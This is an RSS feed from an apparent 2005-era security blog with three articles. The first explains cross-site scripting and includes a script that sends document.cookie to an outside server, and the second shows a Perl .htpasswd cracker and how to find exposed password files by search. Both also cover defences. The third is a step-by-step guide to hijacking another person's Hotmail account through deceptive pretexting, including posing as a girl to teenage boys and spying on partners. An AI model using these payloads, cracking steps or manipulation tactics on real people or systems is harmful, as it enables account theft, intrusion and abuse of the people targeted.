<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hungry Hacker &#187; Security</title>
	<atom:link href="http://www.hungryhacker.com/topics/sec/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hungryhacker.com</link>
	<description>The Hungry Hacker&#039;s Explanation of Everything</description>
	<lastBuildDate>Mon, 05 Sep 2011 03:44:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Cross-Site Scripting 101</title>
		<link>http://www.hungryhacker.com/sec/cross-site-scripting-101/</link>
		<comments>http://www.hungryhacker.com/sec/cross-site-scripting-101/#comments</comments>
		<pubDate>Sat, 10 Dec 2005 12:26:05 +0000</pubDate>
		<dc:creator>fwaggle</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.hungryhacker.com/?p=137</guid>
		<description><![CDATA[Cross-Site Scripting, or XSS for short, is a method used to compromise  user access of a third party website in one manner or another. The  actual result of the attack &#8211; ranging from session theft (you don&#8217;t log  out, and the evildoer returns to the site using your credentials) to  elaborate automated account hijacking &#8211; is unimportant for the purposes  of this discussion. What&#8217;s important is the understanding that any small  vulnerability (in either browser or web service) can easily be  escalated into ...]]></description>
			<content:encoded><![CDATA[<p>Cross-Site Scripting, or XSS for short, is a method used to compromise  user access of a third party website in one manner or another. The  actual result of the attack &#8211; ranging from session theft (you don&#8217;t log  out, and the evildoer returns to the site using your credentials) to  elaborate automated account hijacking &#8211; is unimportant for the purposes  of this discussion. What&#8217;s important is the understanding that any small  vulnerability (in either browser or web service) can easily be  escalated into a full-scale, automated, &#8220;change your password and empty  your paypal account&#8221; attack with the right time and devotion from the  attacker.</p>
<p>XSS is by no means a new attack, and has been explained often before. It  has not (to my knowledge) however been explained in a method which  makes the average WordPress or phpBB2 user motivated to keep the  software they use up to date.</p>
<p>It&#8217;s important to note that while javascript is the most commonly used  language, it&#8217;s not the only one. VBscript, as well as other technologies  such as ActiveX, Java and Flash can all be used for malicious purposes  in one way or another.</p>
<p>Your average XSS attack involves three phases: find an attack vector;  write script for said vector; and write a script for the end result. The  attack vectors vary widely, because any time arbitrary javascript can  be executed by a third party&#8217;s web browser after being injected by a  malicious user, the service is vulnerable.</p>
<p>In the simplest form, an example could be a forum where the user can  specify a URL for an image to be posted next to or under their name  (commonly called &#8220;avatars&#8221;). If the forum software doesn&#8217;t adequately  validate the form input and simply includes whatever is in the box in  HTML output to other users, there&#8217;s an issue. This situation is common,  but most decent forum packages will validate a URL passed to it. But for  the sake of argument:</p>
<p><code>http://some.site.xyz/image.jpeg</code></p>
<p>becomes, when output:</p>
<p><code>&lt;img src="http://some.site.xyz/image.jpeg" /&gt;</code></p>
<p>Thus, if we are malicious users:</p>
<p><code>http://some.site.xyz/image.jpeg" onload="alert('agh!');</code></p>
<p>becomes, when output:</p>
<p><code>&lt;img src="http://some.site.xyz/image.jpeg"  onload="alert('agh!');" /&gt;</code></p>
<p>When the output page is loaded in a javascript-enabled browser, a script  alert dialog should appear. While not overly malicious, this simple  test (which you will find on most security announcements regarding XSS  vulnerabilities) simply illustrates the fact that unintended javascript  is running on the website.</p>
<p>Of course, if you have a simple CGI &#8220;guestbook&#8221; script, one can simply  include <code>&lt;script&gt;</code> tags in their guestbook entry if the  entries aren&#8217;t properly validated.</p>
<p>In another example, some PHP programmers have been known to use the  following:</p>
<p><code>&lt;?PHP if ($_GET['page']) {<br />
printf("&lt;html&gt;&lt;title&gt;My Site&lt;/title&gt;\n");<br />
printf("&lt;body&gt;\n"); 	printf("&lt;lh1&gt;My Site&lt;/h1&gt;\n");<br />
readfile($_GET['page']);<br />
printf("&lt;/body&gt;\n");<br />
printf("&lt;/html&gt;\n");<br />
} ?&gt;</code></p>
<p>Now, assuming there is no other validation of the <code>$_GET['url']</code>,  and the PHP setting &#8220;<a href="http://www.php.net/filesystem">allow_url_fopen</a>&#8221;  is enabled (which it is, by default), then one can pass a remote URL to  a page containing malicious javascript, and send the resulting url to a  victim:</p>
<p><code>http://some.site.abc/showpage.php?page_url=http%3A%2F%2Fsome.evil.site.xyz%2Fpage.html</code></p>
<p>These two methods differ, because one is permanent and has the potential  to net many users, and the other isn&#8217;t. The first method is commonly  called &#8220;script injection&#8221;, because the page(s) is altered  semi-permanently. The more recent example, visiting any other page on  the website will not put you at risk of exposure.</p>
<p>A third example could be via logs and error messages. XSS  vulnerabilities are found all the time in web-based software, as any  time something that is passed from the user&#8217;s browser and is then  redirected back to an HTML page it must be validated. In one scenario:  if a malicious user can pass an invalid username and password to a  website via the GET method, and the invalid username appears on the  website without being validated, they can then craft an XSS attack  inside the bounds of this text and pass the URL on to other users. This  scenario depends on a certain level of user ignorance, however as people  shouldn&#8217;t click on un-trusted login URLs.</p>
<p>In another example, if a user&#8217;s access of a website is logged, and then  the logs are generated to HTML, then certain things such as the User  Agent must be validated prior to being output &#8211; otherwise when the site  administrator (or anyone else with logging access) views the log, their  sessions are at risk.</p>
<p><strong>&#8220;I&#8217;m confused, why is this an issue?&#8221;</strong></p>
<p>The issue is that the potentially malicious script is executed by the  browser without the current website&#8217;s permission or knowledge. Worse  still: it&#8217;s more often than not run in the security context of the  current website, meaning it has access to cookies, forms and such and  can manipulate them.</p>
<p>For a display of the destructive power of XSS when used maliciously,  look into the <a href="http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391">havoc  it wreaked</a> on the popular site &#8220;myspace.com&#8221;, or some other  (slightly less destructive) <a href="http://seoblackhat.com/2005/09/26/inbound-link-authority-sites-exploit/">uses</a>.</p>
<p>Which leads us right into our next section, discussing the malicious  javascript. If you&#8217;re feeling brave, and maintain your own website that  uses cookies in any manner, feel free to append the following to one of  your pages:</p>
<p><code>&lt;script type="text/javascript"&gt; document.location='http://www.hungryhacker.com/downloads/test.cgi?' + document.cookie; &lt;/script&gt;</code></p>
<p>Don&#8217;t worry about the fact that you have access to edit your page and an  attacker wouldn&#8217;t &#8211; I aim to prove by the end of this article that  preventing XSS is quite difficult. The method used to get the script  onto a popular website is irrelevant at this point. As we will discuss  later in the mitigation section, the wily black-hat hacker is always  coming up with new ways to inject unwanted scripts.</p>
<p>The script above will hopefully redirect the viewing browser to a script  on my server, appending the current document&#8217;s cookie to the end of the  URL. Because it&#8217;s for example purposes, all this particular script does  is print back the cookie&#8217;s contents in plain text. However, it should  be painfully obvious that the cookie could be logged, or whatever the  attacker feels like doing with it.</p>
<p>Taking the attack a step further, when armed with a session cookie on  many popular web applications, you can then steal that user&#8217;s session  providing they don&#8217;t &#8220;log out&#8221; in the meantime. Mitigating this is tough  &#8211; I make it a whole lot harder by tying a user&#8217;s session to his or her  IP address for my webapps, but this breaks support for things like WebTV  and some AOL users. Not to mention it still doesn&#8217;t stop the problems  if the malicious user goes crazy with javascript and makes an automated  script which changes your password and email address. It should be  strongly noted that this scenario isn&#8217;t far-fetched.</p>
<p>Generally speaking the best idea is to disallow the insertion of  arbitrary HTML or scripts in your site. This involves more than simply  blacklisting &lt;script&gt; tags &#8211; one must be careful of attributes for  all manner of tags (such as the <code>&lt;img&gt;</code> tag example  above). A far better idea is to whitelist tags and their attributes, or  if you are using something such as BBcode (from phpBB2 et al), carefully  validating the URLs which are passed.</p>
<p>For non HTML, validate, validate, validate. Any time any text is taken  from one user and sent to a web browser of any kind, one must ensure  there are no HTML entities inside it which can cause us grief.</p>
<p>A popularly used quote from one Jon Postel is often reworded as &#8220;Be  conservative in what you send, be liberal in what you accept&#8221; when it  comes to software programming. I much prefer however, to adapt it to &#8220;be  liberal in what you expect, be conservative in what you accept&#8221; &#8211;  especially when it comes to user-passed data. I wholeheartedly recommend  strong validation on any form of user input.</p>
<p><strong>&#8220;But I&#8217;m not a developer!&#8221;</strong> I hear you cry. Since I  began writing this article for non-programmer types, I managed to get a  little off track, so I&#8217;ll attempt to bring us back. If you&#8217;re just an  end user of some package or another on your website, you aren&#8217;t out of  the woods yet. Your site can still be vulnerable to XSS and other  methods, and part of my motivation in writing this article is that the  average WordPress or MovableType user doesn&#8217;t take it anywhere near  seriously enough. Don&#8217;t even get me started on phpBB2 users, either.</p>
<p>The first thing you need to do is find out if the particular packages or  scripts you&#8217;re using have security announcement lists, and then  subscribe to them if they&#8217;re available. If not, make it a habit to check  the developer&#8217;s website for updates and security news &#8211; at the most,  weekly &#8211; and apply updates as they become available. I believe the  WordPress package includes security announcements in the administration  page.</p>
<p>The next thing you need to do is take these announcements seriously.  Generally speaking, for the average low-profile software user it&#8217;s not  so important that you need to run home early from work just to patch  your software. However, leaving it for any more than a week is just bad  practice, try to aim for 48 hours.</p>
<p>The bottom line is, XSS and other subversive means aren&#8217;t going away.  Thanks to some web browsers&#8217; rendering of absolutely mangled HTML, there  are an ever-increasing number of ways to sneak script onto dynamic  webpages. About all you can do is arm yourself with information, and  stay vigilant in your software updates.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hungryhacker.com/sec/cross-site-scripting-101/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The GreyHat Guide to: cracking .htaccess/.htpasswd passwords</title>
		<link>http://www.hungryhacker.com/sec/the-greyhat-guide-to-cracking-htaccess-htpasswd-passwords/</link>
		<comments>http://www.hungryhacker.com/sec/the-greyhat-guide-to-cracking-htaccess-htpasswd-passwords/#comments</comments>
		<pubDate>Sun, 18 Sep 2005 09:12:43 +0000</pubDate>
		<dc:creator>fwaggle</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.hungryhacker.com/?p=80</guid>
		<description><![CDATA[Notice: This is an historic article, something on the order of a decade old now. Most of the information in here still holds true, but there may be some stuff that&#8217;s outdated &#8211; it&#8217;s archived simply because it was a popular article for many people.
foreword
this article is intended to be an almost complete guide to cracking and  protecting websites which utilize the .htaccess/.htpasswd method for  controlling access to data. it&#8217;s not intended to be a how-to guide for  hacking websites. if you&#8217;re looking for a simple howto ...]]></description>
			<content:encoded><![CDATA[<p><strong>Notice:</strong> This is an historic article, something on the order of a decade old now. Most of the information in here still holds true, but there may be some stuff that&#8217;s outdated &#8211; it&#8217;s archived simply because it was a popular article for many people.</p>
<h2>foreword</h2>
<p>this article is intended to be an almost complete guide to cracking and  protecting websites which utilize the .htaccess/.htpasswd method for  controlling access to data. it&#8217;s not intended to be a how-to guide for  hacking websites. if you&#8217;re looking for a simple howto and not  interested in reading in-depth information, then this isn&#8217;t the text for  you.</p>
<p>i&#8217;m considering writing a series of guides which for now i&#8217;m calling  &#8220;grey hat guides&#8221;, since i consider myself half white hat and half black  hat hacker. i do have my malicious streaks (mainly on my own stuff  though, i enjoy breaking my own machines), but i am mostly white hat. i  guess these guides will basically aim to give white hat hackers a  security lecture from a black hat perspective. i dunno. *shrugs*</p>
<h2>basic access control in apache</h2>
<p>at it&#8217;s most basic level, access control in apache is specified in the  httpd.conf (or equivalent file. these were previously three files, now  merged into one for simplicity&#8217;s sake). the most basic directives are  allow from and deny from. the default permissions for any given  directory is allow from all (which will allow any client to get pages  from that directory).</p>
<p>the format for these directives is as follows:</p>
<p><code>&lt;Directory /&gt;<br />
Order Deny,Allow<br />
Deny from All<br />
&lt;/Directory&gt;</code></p>
<p>This will disallow any client from retrieving any file on your server,  unless you explicitly allow files further up the tree. However, since  sometimes normal users will want to control their own web directories,  and it&#8217;s impractical (at least, at most, unsafe) to allow webmasters to  modify the httpd.conf, we can specify to allow users to override certain  directives using the <a href="http://httpd.apache.org/docs/mod/core.html#allowoverride">allowoverride  directive</a>.</p>
<h2>allowoverride</h2>
<p>allowoverride (as stated above) allows non-root users to override access  controls on a directory. you simply specify which directives you want  the user to be able to override (the default is everything), and then  apache looks in each directory for a .htaccess file (or other, specified  with the <a href="http://httpd.apache.org/docs/mod/core.html#accessfilename">AccessFilename  directive</a>) and applies the contents of that to it&#8217;s access control.</p>
<p>part of the access control, the part which we will be covering (given  the scope of this document) is the authconfig directives. below we&#8217;ll  view a typical .htaccess file for most sites with moderate to poor  security (most porn sites simply use these, porn sites can actually be  great practice to crack passwords).</p>
<p><code>/* a typical .htaccess file */<br />
AuthName "Marvin Martian's Porn Emporium"<br />
AuthType Basic<br />
AuthUserFile /home/marvin/public_html/members/.htpasswd<br />
require valid-user </code></p>
<p>as you can see above, there aren&#8217;t many directives required to provide  password protection to a directory. as you can see, in this case, the  webmaster has been pretty lazy and stuck the .htpasswd file inside the  same directory. the format of the .htpasswd file is simple:  &lt;user&gt;:&lt;encryptedpassword&gt;</p>
<h2>a bad case</h2>
<p>on a poorly secured server, there are no access restrictions on the  .htpasswd file. since the .htpasswd file is in a web-accessible  directory, and user which is able to authenticate to the directory is  able to obtain the password list.</p>
<p>simply enter the url /members/.htpasswd, and you should receive a full  userlist as well as all the encrypted passwords. very silly indeed. if  the file doesn&#8217;t exist, on a poorly configured server one merely has to  read the .htaccess file to obtain the location. if it is below the  &#8220;web-root&#8221;, then it would require a cgi-exploit of some sort to obtain  the file. but on any other directory, simply use the browser to obtain  the file:</p>
<p><code>webmaster:TTn.VQRliM8c2<br />
hornyguy:ZpgNeARi106aM<br />
fatmike69:drXj18zVxxBVc</code></p>
<p>unfortunately, these passwords aren&#8217;t of much use in their current form.  they require cracking.</p>
<h2>cracking passwords</h2>
<p>most unix passwords are encrypted using a &#8220;one way hash&#8221; or &#8220;trapdoor  hash&#8221; &#8211; which entails actually losing data from the password in such a  way that the original password simply cannot be obtained by reversing  the algorithm.</p>
<p>the only way to crack such passwords is using brute force guessing  attacks. a simple perl script can be used to achieve this:</p>
<p><code>#! /usr/bin/perl<br />
# crack.pl by fwaggle root@fwaggle.net<br />
open (PASSFILE, ".htpasswd");<br />
my @passfile = &lt;PASSFILE&gt;;<br />
close PASSFILE;<br />
open (DICTFILE, "dictionary.txt");<br />
my @dictfile = &lt;DICTFILE&gt;;<br />
close DICTFILE;<br />
foreach $line (@passfile) {<br />
my ($username, $encpass) = split(/:/, $line);<br />
foreach $attempt (@dictfile) {<br />
if ($encpass eq crypt($attempt, $encpass)) {<br />
print("Cracked: ${username}:${attempt}\n");<br />
}<br />
}<br />
}</code></p>
<p>the above perl script is a simple brute force password cracker. it may  or may not work, i didn&#8217;t actually test it before writing this article &#8211;  but it closely resembles one i released to alt.hacking quite a while  ago. whether it works or not, you should hopefully be able to see the  process which password cracking requires (even for perl, the syntax is  almost plain english).</p>
<h2>better cracking performance</h2>
<p>perl isn&#8217;t the quickest of languages, and using the standard crypt()  calls aren&#8217;t exactly optimized for high speed cracking. a far better  solution is to download a purpose-built, c coded password cracker such  as john the ripper. john the ripper is optimized to crack passwords  extra fast, as well as it includes an &#8220;incremental mode&#8221; in case your  dictionary should fail to crack a password. ie, in the above example, if  the user&#8217;s password doesn&#8217;t happen to be in the dictionary, then you  won&#8217;t be able to crack it.</p>
<p>using an incremental password cracker, every character combination is  tried, in an intelligent order (in a vain attempt to save time in  something that is wholly unpredictable), so that absolutely any  password will be cracked, eventually.</p>
<p>the one problem with john the ripper is that it&#8217;s picky about the files  that it gets inputted. in order to crack the .htpasswd files, you must  edit them to make them appear like regular unix /etc/passwd files. this  means adding extra fields, like this:</p>
<p><code>&lt;username&gt;:&lt;password&gt;:1:1:user:/bin/sh:/root </code></p>
<p>for example, the entries above could look like this:</p>
<p><code>webmaster:TTn.VQRliM8c2:1:1:webmaster:/bin/sh:/root<br />
hornyguy:ZpgNeARi106aM:3:3:hornyguy:/bin/sh:/root<br />
fatmike69:drXj18zVxxBVc:3:3:hornyguy:/bin/sh:/root </code></p>
<p>the windows version doesn&#8217;t seem to require this for some reason, so you  can just feed it a regular .htpasswd file. note that the windows  version may have markedly poor performance when compared to the unix  versions.</p>
<h2>finding vulnerable servers</h2>
<p>now that we&#8217;ve discussed how to break these passwords, it&#8217;s almost time  to talk about securing them. if you&#8217;re only interested in hax0ring  passwords from sites, chances are you&#8217;re probably well equipped to crack  any password files you might stumble accross. if you&#8217;re just looking to  hack anything, try searching in <a href="http://www.google.com/">google</a> or <a href="http://www.altavista.com/">altavista</a> for a phrase like  .htpass, and wade through the results and see if you find a file that  says &#8220;Index of /something&#8221; that contains a .htpasswd file.</p>
<p>if you have permission to read the file, you&#8217;ve basically hacked it  already. this is admittedly a lame hack, but if you&#8217;re bored &#8211; do the  net in general a favour. crack the passwords, and email them to the  admin. that&#8217;s all i ever used to do, and you get the same sense of  achievement and hacker cred, without the legal problems of defacements.</p>
<p>on a side note, the same results can be achieved by searching for  service.pwd. this is the password file for fp-apache, the frontpage  server extensions for apache. some really lame admins don&#8217;t check  permissions on this file, and you can easily gain access to these kinds  of systems (and if you&#8217;re feeling particularly malicious, just connect  with a frontpage client and upload a defacement).</p>
<h2>putting an end to this nonsense</h2>
<p>if you&#8217;re running your own site, then here&#8217;s the section you&#8217;ll really  be interested in &#8211; stopping someone from doing this to you. the first  thing you need to do is prevent users from reading your .ht* files. the  easiest way to hinder this is to put the .htpasswd file someplace that&#8217;s  not web-accessible (such as your home dir, out of ~/public_html).</p>
<p>the next step, as an admin of a server, is to prevent apache from  serving these pages from the web. there is no (i repeat NO) reason that a  web client should ever need to see these pages, they are for server  side configuration only.</p>
<p>so, we can easily accomplish this using the &lt;Files&gt; directive, and a  nifty little regular expression:</p>
<p><code>&lt;Files ~ "^\.ht"&gt;<br />
Order allow,deny<br />
Deny from all<br />
&lt;/Files&gt; </code></p>
<p>this particular example (taken from apache&#8217;s httpd.conf, now thankfully  included in default distributions to keep lame admins from unknowingly  putting themselves at risk) prevents the server from serving any files  that begin with .ht. thus, .htaccess and .htpasswd are both protected.</p>
<p>the final step from here is to ensure that the files are protected on  the server &#8211; meaning file permissions. the ideal situation is to have  suEXEC for apache running, and to have the files accessible only by the  httpd (but still owned by you). that way, you can chmod the files when  you need to edit them, but cgi exploits will not allow users to read the  files.</p>
<h2>wrapping it up</h2>
<p>well, this concludes my little rant about .htpasswd and .htaccess files.  hopefully you learnt something from this. comments are always welcome,  just email me. also, if you&#8217;re looking for a unix/unix-like irc channel  to lurk on, come on our irc network (irc.hackerzlair.org) and join  #hackerzlair &#8211; it&#8217;s lag free, packet kiddie free, and quite nice.</p>
<p>that about does it i think. maybe i&#8217;ll write some more of these files if  i think about it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hungryhacker.com/sec/the-greyhat-guide-to-cracking-htaccess-htpasswd-passwords/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How do I &#8220;hack&#8221; Hotmail?</title>
		<link>http://www.hungryhacker.com/sec/how-do-i-hack-hotmail/</link>
		<comments>http://www.hungryhacker.com/sec/how-do-i-hack-hotmail/#comments</comments>
		<pubDate>Fri, 16 Sep 2005 09:25:13 +0000</pubDate>
		<dc:creator>fwaggle</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.hungryhacker.com/?p=118</guid>
		<description><![CDATA[Note: This is a historic article, kept around for archival purposes only. It&#8217;s probably still somewhat relevant, as it serves pretty well for a primer on social engineering &#8211; but don&#8217;t expect everything listed here to work without a little brain-work involved. Do not email us with questions about this article, unless you want to take the chance of being publicly ridiculed.
This is one of the most awful questions we ever get asked, and it generally happens about once a week. The reasons vary, but not as widely as you ...]]></description>
			<content:encoded><![CDATA[<p><strong>Note:</strong> This is a historic article, kept around for archival purposes only. It&#8217;s probably still somewhat relevant, as it serves pretty well for a primer on social engineering &#8211; but don&#8217;t expect everything listed here to work without a little brain-work involved. Do <em>not </em>email us with questions about this article, unless you want to take the chance of being publicly ridiculed.</p>
<p>This is one of the most awful questions we ever get asked, and it generally happens about once a week. The reasons vary, but not as widely as you might think &#8211; they almost always fit a certain pattern with certain keywords being replaced at will to disguise the message as we hopefully won&#8217;t realize how formulaic it actually is.</p>
<p>Anyway, there generally isn&#8217;t at any given time a &#8220;magic fireball&#8221; that will get you into your friend&#8217;s hotmail account. Every so often a hole will appear, and they&#8217;re generally tricky to execute and almost always require a certain amount of target stupidity. And chances are you won&#8217;t get ahold of it before it&#8217;s fixed, so just give up on that right now.</p>
<p>So what&#8217;s a budding hotmail &#8220;hacker&#8221; to do then?</p>
<p>Well since most every hotmail vulnerability I&#8217;ve seen involves a level of stupidity amongst the target, and despite the fact we&#8217;ve had nearly a decade of high-density media coverage of computer security issues there still are a lot of stupid users out there ripe for the picking &#8211; let&#8217;s discuss that. It&#8217;s basically called &#8220;abusing the stupid factor&#8221; but to most it&#8217;s generally known as social engineering.</p>
<p>Note firstly that this doesn&#8217;t make you a hacker. Note second that it&#8217;s probably illegal depending on where you live. Note third that we&#8217;ll not be held responsible for anything that you do and this article is merely for theoretical purposes to answer what seems to be a burning question to a small portion of the internet community and we&#8217;ll be on our way.</p>
<h2>A crash course in Social Engineering</h2>
<p>The full wonders of social engineering are well outside the scope of this article, but we can quickly skate over this topic that some people consider tantamount to &#8220;hacking people&#8217;s minds&#8221;. Simply put, social engineering is saying things that people want to hear before they will provide you with something they shouldn&#8217;t. You can confuse them, be deceitful, be intimidating, whatever you need to do to get the information out of someone &#8211; and if you&#8217;re doing it over the phone it&#8217;s not as easy as it sounds. It generally takes a lot of bravado and some experience, and you need to think like a chess player.</p>
<p>In the case of hotmail, we&#8217;ll generally be doing it over the internet unless you know your target personally. Let&#8217;s first analyze the angle of attack before we start worrying about trivial things such as how to get the information you need.</p>
<h2>Hotmail and other web services</h2>
<p>While the majority of our requests for webmail help are about hotmail, this article theoretically applies to any web based service that uses the same techniques for user verification. With a little modification you could apply it to all manner of things.</p>
<p>The first thing you need to do is enumerate what exactly it is that you need. At the time of writing, Hotmail has a two-step password reset process. For step #1, all you need to know is the person&#8217;s email address (surprise) and where they live down to the zip code. Getting this information out of someone is often tricky, but it&#8217;s not impossible.</p>
<p>For step #2, all you need is the answer to their &#8220;secret question&#8221; but before you can do this you need to know what the secret question is &#8211; meaning you need the other information first. The secret question is usually something like &#8220;what is your favorite pet&#8217;s name?&#8221; which if you craft the conversation just right, most people will think nothing of disclosing.</p>
<h2>Target Acquired</h2>
<p>Now that you know what you need, it&#8217;s time to go about getting it. The only idiot-proof advice I can give is be patient. Now you must learn as much as you can about your target. Most of the information that you&#8217;ll need will be easily to get out of the person, until you get to the zip code. You could of course use the zip code as your first point of attack &#8211; you know the way some phreaks think they&#8217;re being cute by asking others what area code they&#8217;re in? And then they look on their little sheet and are like &#8220;Long Beach, nice&#8221;? Well depending on your target&#8217;s demographics (fancy talk for where they live and what they do) you might be able to pass this off as being cute.</p>
<p>Never under estimate the power of impersonation. Get to know the target and figure out what they would be attracted to and emulate that (easiest if done online). If they&#8217;re an early teen boy, pretend to be a girl (don&#8217;t laugh, you&#8217;d be amazed at the information you can nail out of someone). If they&#8217;re a hacker wannabe, pretend you&#8217;ll mentor them (after all, you aren&#8217;t a wannabe, right? *chortle*). If they&#8217;re into nascar pretend you have the largest collection of memorabilia in Kansas.</p>
<p>This may take some research, but it&#8217;s worth the time and effort especially if you go very slow. Step #1 is to acquire the zip code by any means necessary. If the person has a domain, try the one that&#8217;s listed in their whois information for a start. Tell them you have a cool device that tells you how far they are away from you (google for zipdy if they want you to pony up with an answer). Whatever works.</p>
<h2>Hook, line and sinker</h2>
<p>Hopefully now you are armed with a zip code, and possibly even some answers to what might be their secret question. Browse on over to Hotmail&#8217;s lost password page, and enter their email address, country, state and zipcode. If you don&#8217;t have the state, you should be able to look it up either online or maybe in a phone book. Click submit and cross your fingers.</p>
<p>With any luck it should pop up with a secret question and a password/confirm password box. Now let&#8217;s work on that secret question, unless you already know it in which case you can skip to the next major subheading.</p>
<p>If the question is for example &#8220;favorite pet&#8217;s name&#8221; simply pretend to be an animal lover. Go on and on for hours about your favorite dog and how the neighbor ran over him in his Hummer and you were shattered for life. This will almost always (from a girl anyway) instigate a much longer rant about her favorite pet &#8211; which will almost always be named in the first paragraph but so as not to arouse suspicion you&#8217;ll need to listen to it all anyway.</p>
<p>Whatever the question is, think of a way to extract the answer out of the person. Maiden name? Pretend you know the person&#8217;s parents. With just a little thought it&#8217;s really not hard.</p>
<h2>Here comes the money shot!</h2>
<p>Go back to your lost password page, and fill in all the information and cross your fingers. With a sprinkling of luck you&#8217;ll be greeted with the other person&#8217;s hotmail account for you to perform your evil deeds. Not that anyone would actually carry this out of course, what with the legal ramifications and whatnot.</p>
<p>There are of course some problems with this technique. Firstly, Hotmail are bound to change. That means that there may be other steps involved, and to be honest I can&#8217;t be bothered looking at hotmail every day of the week to see. Your mileage may vary. Secondly, if you don&#8217;t want to do hotmail and want to do say, Yahoo! it will need some changing too. Thirdly, you will often get someone who&#8217;s information you just can&#8217;t get, or it&#8217;s wrong. IE, someone who uses another answer for their secret question &#8211; you will have a hard time extracting that from them. Your mileage may vary.</p>
<h2>I want to hack my wife/girlfriend/husband/boyfriend&#8217;s Hotmail!</h2>
<p>The problem I have with this question is that after reading the above guide it should be painfully obvious that if you indeed have a relationship with this person, then you should be armed with all the information you need anyway. So if you do, knock your socks off. If you don&#8217;t, shut the hell up and come up with a better story.</p>
<h2>Wait! I don&#8217;t want to change their password!</h2>
<p>well, at the moment that part is up to you. You could always pretend you&#8217;re a hotmail employee (after all you do have access to their account now) and tell them you need to reset their password before they get in, and ask them what it is. Your mileage may vary, I&#8217;ve never actually put this into practice (other than testing it on a fake email account an associate setup) so I haven&#8217;t put too much thought into getting away with it. The rest is up to you, should you decide to do something silly.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hungryhacker.com/sec/how-do-i-hack-hotmail/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

